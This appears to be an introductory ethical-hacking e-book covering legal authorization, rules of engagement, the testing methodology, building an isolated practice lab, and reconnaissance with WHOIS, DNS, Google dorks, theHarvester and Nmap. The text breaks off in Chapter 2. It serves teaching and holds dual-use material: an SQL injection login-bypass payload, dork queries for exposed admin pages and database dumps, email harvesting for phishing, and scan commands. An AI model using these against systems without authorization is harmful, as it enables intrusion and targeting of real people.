
Technology
Ethical Hacking
by Nexson Cloud
3 chapters1.1 hr read

Chapter 1
Foundations of Ethical Hacking
What Is Ethical Hacking and Why It Matters
Imagine a bank hires a security professional to test its online banking system. The professional, with explicit permission, attempts to bypass login controls, not to steal funds, but to uncover how an attacker might gain access. After finding a flaw that could allow unauthorized transfers, they document it and work with the bank to fix it before any real harm occurs. This is ethical hacking in action: authorized, purposeful, and protective.
Defining Ethical Hacking
Ethical hacking is the authorized practice of bypassing system security to identify potential data breaches and threats in a network. The key word here is authorized. Unlike malicious hacking, which seeks to exploit vulnerabilities for personal gain, disruption, or theft, ethical hacking operates under a formal agreement that defines the scope, methods, and objectives of the test. You are not breaking in; you are invited in to look for weaknesses.
This authorization transforms the act from illegal intrusion into a constructive security exercise. For example, a retail company might hire an ethical hacker to test its point-of-sale systems before the holiday shopping season. The hacker attempts to access customer payment data using known attack techniques. If they succeed, they do not take the data — they report exactly how they got in, what they could have accessed, and how to close the gap. The company then patches the vulnerability, reducing its risk of a costly breach.
How Ethical Hacking Differs from Malicious Hacking
The difference between ethical and malicious hacking lies not in the tools or techniques used, but in three core elements: permission, intent, and accountability.
| Aspect | Ethical Hacking | Malicious Hacking |
|---|---|---|
| Permission | Explicit, written authorization from the system owner | None; access is unauthorized |
| Intent | Improve security by finding and fixing weaknesses | Exploit for gain, harm, or disruption |
| Reporting | Full disclosure of findings to the client | Concealment or use for further attacks |
Consider two individuals using the same password-cracking tool. One is an ethical hacker testing a client’s Wi-Fi network with permission. They try common passwords to see if weak credentials could lead to unauthorized access. After identifying that “password123” works on the guest network, they report it and recommend stronger policies. The other is an attacker targeting a neighbor’s network without consent. They use the same tool to gain access, stream illegal content, and avoid detection. Same tool. Opposite outcomes — because one had permission and a duty to report, the other did not.
Intent shapes action. An ethical hacker stops when they’ve demonstrated a risk — they don’t pivot to stealing data or installing backdoors. Their goal is to strengthen defenses, not to prove how deep they can go.
Why Organizations Use Ethical Hacking
Organizations deploy ethical hacking not as a technical exercise, but as a risk management strategy. By identifying vulnerabilities before attackers do, they reduce the likelihood of data breaches, financial loss, reputational damage, and regulatory penalties.
For instance, a healthcare provider subject to HIPAA regulations might conduct regular ethical hacking assessments to protect patient records. During one test, the ethical hacker discovers an unpatched server exposed to the internet that could allow access to electronic health records. Because the test was authorized, the provider learns of the flaw in a controlled way, patches the system, and avoids a potential HIPAA violation — which could have resulted in fines exceeding $50,000 per record under certain circumstances.
Beyond compliance, ethical hacking supports business continuity. A financial institution might use it to validate the security of its mobile banking app. If the ethical hacker finds a way to intercept session tokens, the institution can fix the flaw before attackers exploit it to hijack user accounts. This proactive approach builds resilience — the ability to withstand and recover from threats — rather than merely reacting after damage occurs.
The Ethical Hacker’s Responsibility
With authorization comes responsibility. Ethical hackers are bound by a strict code: do no harm, respect privacy, and report all findings — not just the easy ones.

Do no harm means avoiding actions that could disrupt services, corrupt data, or create new risks. For example, if testing a live e-commerce site, an ethical hacker avoids running denial-of-service attacks that could take the site offline during peak sales hours. Instead, they use safe, controlled methods to assess susceptibility and recommend mitigations.
Respecting privacy involves handling any sensitive data encountered during testing with extreme care. If an ethical hacker accidentally accesses user emails or personal identifiers while testing a database, they must stop, not examine the data further, and immediately report the incident to the client. They do not retain, copy, or analyze personal information beyond what is necessary to validate the finding.
Reporting all findings ensures transparency. This includes not only critical flaws but also lower-risk issues and even strengths observed during the test. A report that only highlights problems without context can overwhelm a client; one that balances risks with observed strengths helps prioritize remediation and builds trust.
Alex Rivera, a lead ethical hacker with over a decade of experience, often emphasizes that the ethical hacker’s job is not to “win” by finding the most vulnerabilities, but to enable the client to make informed decisions about risk. “Your value isn’t in how deeply you can penetrate,” he says, “but in how clearly you can show the client what they need to fix — and why it matters — without causing harm in the process.”
By operating within these boundaries, ethical hacking becomes a trusted component of an organization’s security strategy — not a threat, but a tool for improvement.
This responsibility extends beyond technical execution into communication. Ethical hackers must translate complex findings into clear, actionable insights for both technical and non-technical stakeholders. A vulnerability buried in jargon is unlikely to be fixed; one explained in terms of business impact — such as “this flaw could allow an attacker to access customer payment data, leading to potential fines and loss of trust” — drives prioritization.
Consider a scenario where an ethical hacker tests a university’s student portal. They discover that session tokens are predictable, allowing an attacker to hijack a logged-in session. Instead of simply reporting “session prediction vulnerability,” the ethical hacker explains: “An attacker could guess or calculate a valid session token and gain access to any student’s records, including grades, financial aid, and personal information. This could lead to identity theft or academic fraud.” They then recommend implementing cryptographically secure, random tokens and shortening session lifespans. By framing the issue in real-world consequences, they help the IT team and university leadership understand why the fix matters.
Equally important is the ethical hacker’s role in fostering a security-positive culture. When conducted transparently and respectfully, ethical hacking shifts the narrative from blame to improvement. Rather than hiding flaws for fear of punishment, teams begin to see testing as a routine part of maintaining strong defenses — like scheduled maintenance on a vehicle. Samir Hassan, a cybersecurity analyst who works with ethical hacking teams, notes that organizations embracing this mindset report faster patch cycles and higher employee engagement in security awareness programs. “When people see testing as helpful, not hostile, they’re more likely to report odd behavior or follow protocols,” he observes.
Finally, ethical hacking reinforces accountability at every level. It reminds developers that secure coding isn’t optional, prompts administrators to validate configurations, and encourages executives to invest in proactive measures. The ethical hacker doesn’t just find holes — they help build a culture where security is continuous, shared, and rooted in respect for permission, privacy, and purpose.
This mindset — one of service, discipline, and care — is what separates ethical hacking from mere technical skill. It’s not enough to know how to exploit a flaw; you must also know why you’re looking, who you’re serving, and how to leave things better than you found them. That foundation prepares you not just to test systems, but to do so in a way that earns trust and delivers lasting value.
Legal Frameworks Governing Ethical Hacking
Understanding the legal landscape is essential for conducting ethical hacking responsibly. Laws like the Computer Fraud and Abuse Act (CFAA) in the United States criminalize unauthorized access to computer systems, regardless of intent. Under the CFAA, accessing a protected computer without authorization—or exceeding authorized access—can result in fines, imprisonment, or both. For example, in 2016, a security researcher was prosecuted under the CFAA after probing a public-facing government website for vulnerabilities, even though they disclosed the findings responsibly and caused no damage. The court ruled that their actions constituted unauthorized access because they had not received explicit permission to test the system.
This highlights a critical principle: good intentions do not override legal requirements. Ethical hackers must operate under clear, written authorization that explicitly permits their activities. Without it, even well-meaning testing can be interpreted as illegal intrusion. Similarly, the European Union’s General Data Protection Regulation (GDPR) imposes strict rules on how personal data is handled during security assessments. If an ethical hacker processes EU residents’ data without a lawful basis—such as consent or a contract—they risk significant fines, up to 4% of global annual turnover or €20 million, whichever is higher. For instance, if a tester accesses customer email addresses during a web application assessment and retains them longer than necessary to validate a finding, this could violate GDPR’s data minimization and storage limitation principles.
Other jurisdictions have comparable laws. The UK’s Computer Misuse Act 1990 prohibits unauthorized access and unauthorized acts with intent to impair operation. Canada’s Criminal Code includes provisions against mischief in relation to data. Ethical hackers working internationally must therefore assess applicable laws in every jurisdiction where the target systems reside or where data is processed.
Ethical Guidelines and Professional Standards
Beyond legal compliance, ethical hackers adhere to professional frameworks that promote responsible conduct. The Penetration Testing Execution Standard (PTES) provides a comprehensive methodology that emphasizes legal and ethical considerations throughout the engagement lifecycle. PTES requires pre-engagement interactions to establish rules of engagement, including legal boundaries, communication protocols, and data handling procedures. Similarly, the OWASP Testing Guide integrates ethical principles into its framework, reminding testers to respect confidentiality, avoid unnecessary data collection, and ensure findings are reported responsibly.
These standards reinforce three core ethical principles: confidentiality, integrity, and responsible disclosure. Confidentiality means protecting all information gathered during the test—such as network diagrams, credentials, or internal policies—from unauthorized disclosure. Integrity involves ensuring that testing activities do not alter or corrupt data unless explicitly authorized and reversed as part of the test. Responsible disclosure requires that vulnerabilities be reported first to the client or system owner, allowing them time to remediate before any public disclosure, if agreed upon.
For example, during a network assessment of a financial institution, an ethical hacker discovers a misconfigured firewall rule that could allow external access to internal databases. Following responsible disclosure, they immediately notify the client’s security team via a pre-agreed secure channel, providing detailed evidence and remediation steps. They refrain from discussing the finding with third parties or posting details online until the client confirms the issue has been patched or grants permission for public discussion.
Many certifying bodies, such as EC-Council (for the CEH credential) and Offensive Security (for the OSCP), require adherence to a code of ethics. Violating these codes—such as by exceeding scope, retaining data without permission, or failing to report findings—can lead to suspension or revocation of certification, damaging professional credibility.
Defining Scope and Obtaining Authorization
Written authorization is the cornerstone of legal and ethical ethical hacking. This document, often called a rules of engagement (ROE) or engagement agreement, must be signed by both the tester and the client before any testing begins. It protects both parties by clearly defining what is permitted, what is forbidden, and how risks will be managed.
A robust ROE includes six key elements:
- Scope: Exact systems, networks, applications, or IP ranges that may be tested. For example, “Testing is limited to the web application at https://app.client.com and its associated APIs. Testing of the underlying infrastructure, including firewalls and domain controllers, is prohibited unless separately authorized.”
- Timing: Authorized dates and times for testing. This prevents disruptions during critical operations. For instance, “Testing may occur only between 2:00 AM and 5:00 AM local time, Monday through Thursday, to minimize impact on business hours.”
- Methods: Permitted techniques and tools. Certain high-risk actions—like denial-of-service attacks, social engineering via phone, or credential stuffing—may be explicitly banned unless separately approved. For example, “Network scanning with Nmap is permitted using stealth scan (-sS) options. Aggressive scanning (-A) and brute-force authentication attempts are prohibited.”
- Data Handling: Procedures for handling sensitive information. The ROE should state that any personal or confidential data encountered must not be retained, copied, or analyzed beyond what is necessary to validate a finding, and must be securely deleted after reporting.
- Communication Protocols: How and when to report findings, especially critical vulnerabilities. For example, “Critical risks must be reported via encrypted email to the client’s CISO within one hour of discovery. Routine findings are included in the final report.”
- Liability and Indemnification: Clauses addressing responsibility for accidental damage or legal claims. While ethical hackers take precautions, the ROE may specify that the client assumes responsibility for known system fragility, or that the tester carries professional liability insurance.
Consider a scenario where an ethical hacker is hired to test a hospital’s patient portal. The ROE specifies that testing is limited to the web application and its APIs, excludes the internal network and database servers, and prohibits any attempt to extract patient records. During testing, the hacker discovers that the portal leaks session tokens in URLs. They report this immediately but do not attempt to use the tokens to access patient data, as that would exceed scope and violate privacy principles. By adhering to the ROE, they avoid legal risk while still providing valuable insight.
Without such documentation, testers risk accusations of unauthorized access, even if no harm is intended. In one case, a tester accessed a company’s internal network after guessing a weak password on a publicly exposed admin panel. Although they reported the flaw, they had not received authorization to test that system. The company pursued legal action under the CFAA, arguing that access was unauthorized. The tester’s lack of written permission weakened their defense, despite their ethical conduct.
Consequences of Violating Boundaries
Failing to respect legal and ethical boundaries carries serious consequences. Civil penalties can include lawsuits for damages resulting from disrupted services, data loss, or privacy breaches. Under GDPR, organizations can sue for compensation if personal data is mishandled during testing. Criminal charges may arise under laws like the CFAA, potentially leading to fines and imprisonment. In 2020, a security researcher faced felony charges after accessing a county government’s website without permission to demonstrate a vulnerability, despite claiming they acted in the public interest.
Professionally, violating boundaries can result in loss of employment, termination of contracts, and revocation of certifications. Employers and clients lose trust when testers overstep, making future engagements unlikely. Furthermore, irresponsible actions harm the reputation of the ethical hacking community, leading to stricter regulations and reduced opportunities for legitimate testing.
To avoid these outcomes, ethical hackers must treat authorization not as a formality but as an ongoing responsibility. They should verify that the ROE aligns with applicable laws, consult legal counsel when working across jurisdictions, and never assume permission based on verbal agreements or past engagements. When in doubt, they must stop and seek clarification—because in ethical hacking, the line between helpful and harmful often lies in whether you had permission to cross it.
The Ethical Hacking Methodology
Ethical hacking follows a structured process to ensure thorough and responsible testing. This methodology consists of five interconnected phases: reconnaissance, scanning, enumeration, exploitation, and reporting. Each phase builds on the information gathered in the previous one, creating a logical flow that maximizes effectiveness while minimizing unnecessary risk. By adhering to this framework, you transform what could be a haphazard search for weaknesses into a disciplined security assessment.
Reconnaissance: Mapping the Attack Surface
Reconnaissance is the foundation of any ethical hacking engagement. During this phase, you collect as much information as possible about the target without directly interacting with its systems. The goal is to understand the organization’s digital footprint—what systems are exposed, what technologies they use, and where potential entry points might exist.
There are two types of reconnaissance: passive and active. Passive reconnaissance involves gathering information from publicly available sources such as websites, social media, DNS records, and public databases. This approach is stealthy and carries no risk of detection because it does not generate traffic against the target. Active reconnaissance, by contrast, involves direct interaction with the target, such as sending DNS queries or making HTTP requests. While it yields more detailed information, it also increases the chance of triggering alerts.
For example, when assessing a retail company’s online store, you might begin by examining their public website for technology clues—like JavaScript libraries or server headers—that reveal the underlying platform. You could then search WHOIS records to identify domain registration details, check SSL certificate transparency logs for subdomains, and review job postings for hints about internal technologies. If the company uses a third-party payment processor, you might investigate that provider’s public disclosures for known vulnerabilities.
This phase matters because it helps you focus your efforts. Without reconnaissance, you might waste time scanning irrelevant IP ranges or testing applications that aren’t actually exposed. By understanding the attack surface first, you can prioritize targets that are both accessible and likely to yield meaningful findings.
Scanning: Discovering Live Systems and Services
Once you have a list of potential targets from reconnaissance, the scanning phase begins. Here, you actively probe the target systems to identify which ones are live, what services are running, and which ports are open. This step turns the passive intelligence from reconnaissance into concrete data about the target’s network posture.
The most common tool for this phase is Nmap, which sends packets to target systems and analyzes their responses to determine host availability, open ports, and sometimes even operating system versions. For instance, a basic ping sweep (nmap -sn 192.168.1.0/24) can quickly identify which IP addresses in a subnet are responsive. A more detailed scan (nmap -sS -sV -p 1-1000 10.0.0.5) might reveal that a specific host has port 22 (SSH), port 80 (HTTP), and port 443 (HTTPS) open, with service versions suggesting a Linux server running Apache 2.4.41.
Scanning must always stay within the bounds defined in the Rules of Engagement (ROE). If the ROE limits testing to a specific web application, scanning should focus only on the associated IP ranges and domains—not the entire corporate network. Aggressive scanning techniques, such as those using -A (which enables OS detection, version scanning, script scanning, and traceroute), may be prohibited if they generate excessive traffic or trigger intrusion detection systems.
The value of scanning lies in its ability to reduce uncertainty. Instead of guessing where services might be running, you obtain a clear map of the target’s exposed interfaces. This information directly informs the next phase: enumeration.
Enumeration: Extracting Detailed Information
With a list of live systems and open ports from scanning, enumeration digs deeper to extract specific details that could reveal vulnerabilities. This phase focuses on identifying usernames, shared resources, service configurations, and protocol-specific information that might not be apparent from a basic port scan.
For example, after discovering that port 445 (SMB) is open on a Windows server, you might use tools like enum4linux or rpcclient to enumerate user accounts, password policies, and shared folders. If the server allows anonymous access, you could discover a share named Backups containing outdated configuration files with hardcoded credentials. Similarly, if port 1433 (MSSQL) is open, you might attempt to enumerate database names, linked servers, or stored procedures using legitimate credentials found elsewhere—or even null sessions if authentication is misconfigured.
In web applications, enumeration often involves probing for hidden directories (/admin, /backup, /config), testing for common file inclusions, or identifying technology stacks via response headers and error messages. A tool like Gobuster or Dirb can automate directory brute-forcing based on common wordlists, while manual inspection of JavaScript files might reveal API endpoints not linked from the main interface.
Enumeration matters because it transforms general knowledge (“there’s a web server on port 80”) into actionable intelligence (“the server runs an outdated version of WordPress with a known plugin vulnerability”). Without this step, you might miss critical context that determines whether a vulnerability is exploitable in practice.
Exploitation: Testing Vulnerabilities Responsibly
The exploitation phase is where you attempt to verify whether identified weaknesses can actually be leveraged to gain unauthorized access or perform unintended actions. This is not about causing harm or stealing data—it’s about validating findings in a controlled manner to confirm risk levels and support accurate reporting.
For instance, if enumeration revealed a login page vulnerable to SQL injection, you might test it with a harmless payload like ' OR '1'='1 to see if it bypasses authentication. If successful, you would stop short of extracting or modifying data and instead document the flaw as confirmed. Similarly, if a misconfigured SMB share allows unauthenticated access, you might attempt to read a non-sensitive file (like a README) to prove the vulnerability exists—then immediately cease further interaction.

Exploitation must always align with the ROE and ethical principles. High-risk actions—such as denial-of-service attacks, credential stuffing, or attempts to pivot to unauthorized systems—are typically prohibited unless explicitly authorized. Even when permitted, testers should use the minimum necessary effort to validate a finding. The goal is not to demonstrate maximum impact but to prove that a vulnerability exists and could be exploited by an attacker.
Consider a scenario where you discover that a client’s VPN portal uses default credentials (admin/admin) for an administrative interface. Rather than logging in and changing settings or accessing sensitive logs, you would simply verify that the credentials grant access, document the finding, and log out. This confirms the risk without exceeding the scope of safe validation.
Reporting: Communicating Findings Effectively
The final phase—reporting—is where the value of the entire engagement is realized. A well-structured report translates technical findings into clear, actionable insights for stakeholders. It should include an executive summary for leadership, detailed technical findings for IT teams, and specific remediation steps for each vulnerability.
Each finding should contain: a description of the issue, the evidence gathered (such as screenshots or command output), the risk level (often using CVSS or a simple high/medium/low scale), and actionable recommendations. For example, a finding about exposed session tokens in URLs might note: “Session tokens are transmitted via GET parameters in URLs, making them susceptible to leakage through logs, referrer headers, and browser history. Recommendation: Implement secure, HttpOnly cookies for session management and regenerate tokens after login.”
Equally important is the inclusion of observed strengths. Noting what the organization does well—such as timely patching of critical systems or effective use of web application firewalls—helps build trust and provides a balanced view. This reinforces that ethical hacking isn’t just about criticism; it’s about improving overall security posture.
Reports should also clarify what was not tested, based on the ROE limitations. If internal network testing was excluded, the report should state this explicitly to avoid misunderstandings about scope. Finally, the report must be delivered through agreed-upon channels—such as encrypted email to the CISO—and followed up with a debrief meeting to discuss priorities and next steps.
By moving systematically through these five phases—reconnaissance, scanning, enumeration, exploitation, and reporting—you ensure that your testing is thorough, repeatable, and aligned with both technical best practices and ethical obligations. This methodology turns ethical hacking from a collection of isolated tricks into a disciplined practice that genuinely enhances security.
Why a Dedicated Lab Is Essential
You need a safe, legal environment to practice ethical hacking without risking damage to production systems or violating laws. A dedicated lab provides isolation, allowing you to experiment with tools and techniques that could be disruptive or illegal in a real-world setting. For example, running an Nmap scan on a corporate network without permission could trigger intrusion detection systems and lead to legal consequences under the CFAA. In contrast, scanning a deliberately vulnerable machine in your lab lets you learn network discovery without real-world repercussions.
Virtualization enables you to run multiple operating systems simultaneously on a single physical machine, each in its own sandbox. This approach is cost-effective and scalable—you can simulate complex network topologies using only your laptop. Alex Rivera emphasizes that a well-configured lab mirrors real-world conditions while maintaining strict boundaries: "Your lab should feel like a real engagement, but with the safety nets of written authorization and network isolation built in."
Choosing and Installing Virtualization Software
Begin by selecting a virtualization platform. VirtualBox and VMware Workstation Player are both free for personal use and offer robust features for ethical hacking labs. VirtualBox is open-source and widely supported, making it ideal for beginners, while VMware offers better performance with certain guest operating systems and smoother hardware integration.
Download VirtualBox from the official Oracle website and install it like any other application. During installation, you’ll be prompted to install network drivers—accept these to enable host-only and NAT networking modes, which are essential for lab isolation. After installation, launch VirtualBox and verify that the extension pack is installed; this adds support for USB 2.0/3.0, virtual RDP, and disk encryption, which can be useful when testing device-based vulnerabilities.
Next, obtain ISO files for the operating systems you’ll use in your lab. For your attacking machine, download the latest Kali Linux ISO from offensive-security.com. For targets, get the Metasploitable2 Linux VM (pre-configured with vulnerabilities) from SourceForge or deploy OWASP Juice Shop via Docker, which we’ll cover shortly. Store these ISOs in a dedicated folder—naming them clearly (e.g., Kali-Linux-2023.3-installer-amd64.iso) helps avoid confusion later.
Building Your Attacking Machine: Kali Linux
Create a new virtual machine in VirtualBox for Kali Linux. Allocate at least 2 GB of RAM (4 GB recommended if your host has 8 GB or more), 20 GB of dynamically allocated storage, and 2 CPU cores. Enable PAE/NX in the system settings to ensure compatibility with modern security tools. Attach the Kali Linux ISO to the virtual optical drive and start the VM.
Follow the installer prompts: choose your language, location, and keyboard layout. When prompted for a hostname, use something like kali-lab. Create a non-root user account (e.g., ethicalhacker) with a strong password—remember that even in a lab, practicing good credential hygiene builds discipline. During software selection, leave the default options; Kali comes preloaded with over 600 penetration testing tools, including Nmap, Metasploit, Burp Suite, and Wireshark.
After installation, reboot and log in. Update the system immediately: ``bash sudo apt update && sudo apt full-upgrade -y ` This ensures you have the latest tool versions and security patches. Verify that key tools are present by running nmap --version and msfconsole -v. If any tools are missing, install them individually—for example, sudo apt install gobuster` for directory brute-forcing.
Deploying Vulnerable Targets: Metasploitable and OWASP Juice Shop
Now deploy two classic vulnerable targets: Metasploitable2 for network and system-level testing, and OWASP Juice Shop for web application security practice.
For Metasploitable2, download the pre-built VM from SourceForge (search for "Metasploitable2 VirtualBox"). Import it into VirtualBox via File > Import Appliance. Accept the default settings—this VM is already configured with vulnerable services like outdated vsftpd, MySQL with weak credentials, and Tomcat exposed on port 8080. Do not change the network settings yet; we’ll configure isolation next.
For OWASP Juice Shop, the easiest method is using Docker. If you haven’t installed Docker Desktop, do so now—it integrates smoothly with VirtualBox on most host systems. Open a terminal and run: ``bash docker pull bkimminich/juice-shop docker run --rm -p 3000:3000 bkimminich/juice-shop ` This pulls the latest Juice Shop image and runs it on port 3000. Open a browser on your host machine and navigate to http://localhost:3000` to confirm it’s working. You should see a deliberately flawed online store with vulnerabilities like SQL injection, broken authentication, and sensitive data exposure—perfect for practicing enumeration and exploitation in a web context.
Isolating Your Lab with Host-Only Networking
To prevent accidental exposure to your physical network or the internet, configure host-only networking. This creates a private network segment visible only to your host machine and the virtual machines connected to it—no traffic can leak to your LAN or beyond.
In VirtualBox, go to File > Host Network Manager. Create a new host-only network if one doesn’t exist (typically named vboxnet0). Disable the DHCP server if you prefer static IPs, or leave it enabled for automatic addressing. Then, for each VM (Kali, Metasploitable2, and the Juice Shop container if running in a VM), go to Settings > Network, enable Adapter 2, and attach it to the host-only network. Leave Adapter 1 as NAT for internet access if needed (e.g., for updates), but ensure all inter-VM communication happens over the host-only adapter.
Assign static IPs within the host-only range for predictability. For example:
- Kali Linux: 192.168.56.10
- Metasploitable2: 192.168.56.20
- Juice Shop (if in a VM): 192.168.56.30
Test connectivity by pinging between machines: ```bash
From Kali
ping 192.168.56.20 ping 192.168.56.30 ``` If successful, you now have a fully isolated lab where you can scan, enumerate, and exploit targets without risking your home network or violating any laws.
Try This
This week, build your ethical hacking lab using the following steps:
- Install VirtualBox and extend it with the VirtualBox Extension Pack.
- Download and install Kali Linux as a VM, then update its tools and create a non-root user.
- Deploy Metasploitable2 and OWASP Juice Shop as targets, connect all machines to a host-only network, and verify connectivity with ping tests.
Key Takeaways
- A dedicated lab provides a legal, safe environment to practice ethical hacking techniques without endangering production systems.
- Virtualization allows you to run multiple isolated operating systems on one machine, simulating real-world network conditions.
- Kali Linux serves as your attacking machine, preloaded with essential tools like Nmap, Metasploit, and Burp Suite.
- Metasploitable2 and OWASP Juice Shop are intentionally vulnerable targets ideal for practicing network and web application security testing.
- Host-only networking ensures your lab remains isolated from physical networks, preventing accidental exposure or legal issues.

Chapter 2
Core Techniques and Tools
Passive and Active Reconnaissance
You’ve built your lab, isolated it with host-only networking, and verified connectivity between your Kali machine and targets like Metasploitable2. Now you’re ready to begin the ethical hacking process: gathering information about your target. This phase, known as reconnaissance, is where you collect data to understand the attack surface before attempting any interaction. It’s not just a preliminary step—it shapes every decision that follows. The more accurately you map what’s exposed, the more focused and effective your testing becomes.
Understanding Passive and Active Reconnaissance
Reconnaissance splits into two approaches based on how you interact with the target. Passive reconnaissance collects information without sending any traffic to the target system. You rely on publicly available data—domain registrations, DNS records, social media, search engine results, and exposed services on the internet. Since there’s no direct contact, passive methods are stealthy and often undetectable by the target. They’re ideal for the initial phase of an assessment when you want to avoid alerting defenders.
Active reconnaissance, in contrast, involves probing the target directly. You send packets, make requests, or query services to elicit responses. Techniques include ping sweeps to find live hosts, port scans to discover open ports, and service enumeration to identify versions and configurations. While more intrusive, active methods yield precise, real-time data about what’s actually reachable and responsive. However, they generate logs on the target and may trigger alerts if not conducted within agreed-upon rules of engagement.
Think of passive reconnaissance as researching a building by studying public records, satellite imagery, and news articles. Active reconnaissance is like walking up to the doors, testing handles, and peeking through windows to see what’s inside. Both are necessary: passive helps you scope the engagement ethically and legally; active confirms what you can actually test.
Gathering Intelligence with Passive Tools
Begin your assessment by harvesting data from public sources. Start with WHOIS lookups to uncover domain registration details. For example, if you’re assessing example.com, run:
``bash whois example.com ``
This returns the registrar, creation and expiration dates, name servers, and often contact information for the domain owner. If the registration is private, you’ll see redacted details—but even then, you can trace the registrar and infer hosting providers. Historical WHOIS data, available through services like DomainTools or SecurityTrails, can reveal past ownership changes or expired domains that might still be linked to the target.
Next, enumerate DNS records to map the target’s infrastructure. Use dig or host to query different record types:
``bash dig example.com ANY host -t MX example.com host -t TXT example.com ``
An ANY query returns all available records (though some servers restrict it for security). MX records show mail servers—potential targets for phishing simulations. TXT records often contain SPF, DKIM, or DMARC policies, and sometimes verification codes or internal notes accidentally left exposed. For subdomain discovery, query common prefixes like www, mail, dev, staging, or api:
``bash for sub in www mail dev staging api; do host $sub.example.com; done ``
Automate this with tools like sublist3r or amass, which scrape search engines, DNS databases, and TLS certificates to find subdomains at scale. For instance, running amass enum -d example.com might reveal dev.example.com pointing to a development server with weaker security—exactly the kind of asset attackers target.
Search engines are another rich passive source. Use Google dorking—advanced search operators—to find exposed files, login pages, or misconfigurations. Try:
`` site:example.com filetype:pdf site:example.com inurl:admin site:example.com intitle:"index of" ``
The first finds PDFs hosted on the domain (possibly containing internal documentation). The second locates login portals. The third discovers directory listings that might leak source code or backups. Combine operators to narrow results: site:example.com ext:sql OR ext:log could uncover database dumps or error logs.
For broader internet-wide intelligence, turn to Shodan (shodan.io), a search engine for internet-connected devices. Query:

`` hostname:example.com port:22 product:"OpenSSH" ``
This reveals SSH services exposed to the internet, their versions, and geographic locations. If Shodan shows example.com running an outdated OpenSSH version on port 22, you’ve identified a potential vector for further investigation—always within your authorized scope.
To streamline passive collection, use automation frameworks like theHarvester or Maltego. theHarvester gathers emails, subdomains, hosts, and employee names from public sources like search keys, PGP key servers, and LinkedIn. Run:
``bash theHarvester -d example.com -b google,bing,linkedin -l 500 ``
This returns up to 500 results from Google, Bing, and LinkedIn, helping you build an email list for phishing simulations or identify key personnel.
Maltego takes this further by transforming raw data into visual graphs. It pulls data from dozens of integrations—WHOIS, DNS, social media, breach databases—and displays relationships as nodes and links. For example, you might see that an email address from a breach appears in a LinkedIn profile tied to a domain administrator, or that a Shodan-hosted IP shares SSL certificate details with another server in the target’s infrastructure. These visual maps help you identify trust chains, third-party dependencies, and overlooked assets.
Passive reconnaissance is low-risk and foundational. It answers: What does the target expose to the world? What information is already public? What assets might be forgotten but still active? Spend time here before sending a single packet to the target—it sharpens your focus and keeps your engagement ethical.
Performing Active Discovery with Nmap
Once you’ve exhausted passive sources, transition to active reconnaissance. Your primary tool here is Nmap (nmap), the de facto standard for network discovery and port scanning. It sends crafted packets to determine which hosts are alive, what ports are open, and what services run on them—including version details that inform vulnerability checks.
Start with host discovery to find live systems in your target range. In your lab, you know Metasploitable2 is at 192.168.56.20, but in a real assessment, you might not. Use a ping sweep:
``bash nmap -sn 192.168.56.0/24 ``
The -sn flag disables port scanning; Nmap only checks if hosts respond to ICMP echo requests, TCP SYN to port 443, TCP ACK to port 80, or ICMP timestamp requests. This is fast and noisy but effective for mapping live hosts. In your lab, you should see responses from Kali (.10), Metasploitable2 (.20), and Juice Shop (.30 if running in a VM).
If the target blocks ICMP (common in production), Nmap adapts by using TCP probes. You can force specific techniques: -PS22,80,443 sends SYN packets to those ports; -PA22,80,443 sends ACK packets. Choose based on likely firewall rules—SYN to common ports often works when ICMP is dropped.
With live hosts identified, move to port scanning. The most common starting point is a TCP SYN scan (also called half-open or stealth scan):
``bash nmap -sS 192.168.56.20 ``
The -sS flag sends SYN packets and waits for SYN-ACK (open port) or RST (closed/filtered). It’s called stealth because it doesn’t complete the TCP handshake, making it less likely to be logged by some systems—though modern IDS/IPS still detect it. Always confirm with your ROE whether this technique is permitted.
For a broader view, scan the top 1000 ports (Nmap’s default) or specify ranges:
``bash nmap -p 1-1000 192.168.56.20 nmap -p- 192.168.56.20 # All 65535 TCP ports (slower) ``
To discover UDP services (often missed but critical—think DNS, SNMP, DHCP), add -sU:
``bash nmap -sU -p 53,161,162 192.168.56.20 ``
UDP scanning is slower and less reliable due to protocol limitations, but essential for completeness.
Once you have open ports, determine what’s running on them with version detection:
``bash nmap -sV 192.168.56.20 ``
The -sV flag probes open ports and matches responses against Nmap’s service fingerprint database. On Metasploitable2, you’ll likely see:
- Port 21:
vsftpd 2.3.4(backdoored version) - Port 22:
OpenSSH 4.7p1(vulnerable to user enumeration) - Port 23:
telnet(Linux telnetd) - Port 25:
Postfix smtpd - Port 80:
Apache httpd 2.2.8(potentially vulnerable to older exploits) - Port 139, 445:
Samba smbd(workgroup: WORKGROUP) - Port 3306:
MySQL 5.0.51a - Port 8080:
Apache Tomcat/Coyote JSP engine 1.1
This output is actionable. Knowing vsftpd 2.3.4 is present tells you to check for the known backdoor (CVE-2011-2523). Seeing Apache Tomcat on 8080 prompts you to test for default credentials or weak configurations.
For even deeper insight, enable aggressive mode with -A, which combines OS detection (-O), version scanning, script scanning (-sC), and traceroute:
``bash nmap -A 192.168.56.20 ``
This runs default Nmap scripts (like those detecting anonymous FTP access or HTTP server headers) and attempts to guess the operating system. On Metasploitable2, OS detection might return Linux 2.6.X—useful for narrowing exploit choices.
Always scan within your authorized scope. If your ROE limits you to 192.168.56.20, scanning 192.168.56.0/24 could violate terms—even in a lab, cultivate the habit of checking boundaries. Use -iL to read targets from a file, ensuring you only hit approved systems.
Organizing and Applying Your Findings
Reconnaissance isn’t just about collecting data—it’s about turning it into a usable picture of the target’s attack surface. After passive and active phases, you should have a list of:
- Domains and subdomains
- Public IP addresses and associated services
- Email addresses and employee names (for social engineering context)
- Live hosts in your scope
- Open ports and running services with versions
- Observed configurations (e.g., anonymous FTP, default credentials)
Organize this in a simple markdown file or spreadsheet. For each finding, note:
- Asset: e.g.,
dev.example.com - Type: subdomain, IP address, service
- Details:
Apache Tomcat 9.0.13 on port 8080 - Source: how you found it (e.g.,
DNS brute-force,Nmap version scan) - Relevance: why it matters (e.g.,
Potential RCE via CVE-2020-9484 if manager app deployed)
This record becomes your reference during vulnerability assessment and exploitation. It prevents redundant scanning, helps you track changes over time, and ensures you don’t overlook assets—like a forgotten subdomain pointing to a dev server with debug features enabled.
Consider a real-world parallel: a retail company assesses its public-facing web assets. Passive reconnaissance via Shodan reveals a forgotten subdomain legacy.shop.example.com running an outdated Magento version on port 443. Active scanning confirms TLS 1.0 is enabled and admin login is accessible without MFA. The ethical hacker reports this as an obsolete asset with known vulnerabilities—leading the company to decommission it and reduce risk.
Your goal isn’t to collect everything—it’s to collect what matters. Focus on assets that are:
- Exposed: reachable from the internet or internal network (depending on scope)
- Running outdated or vulnerable software
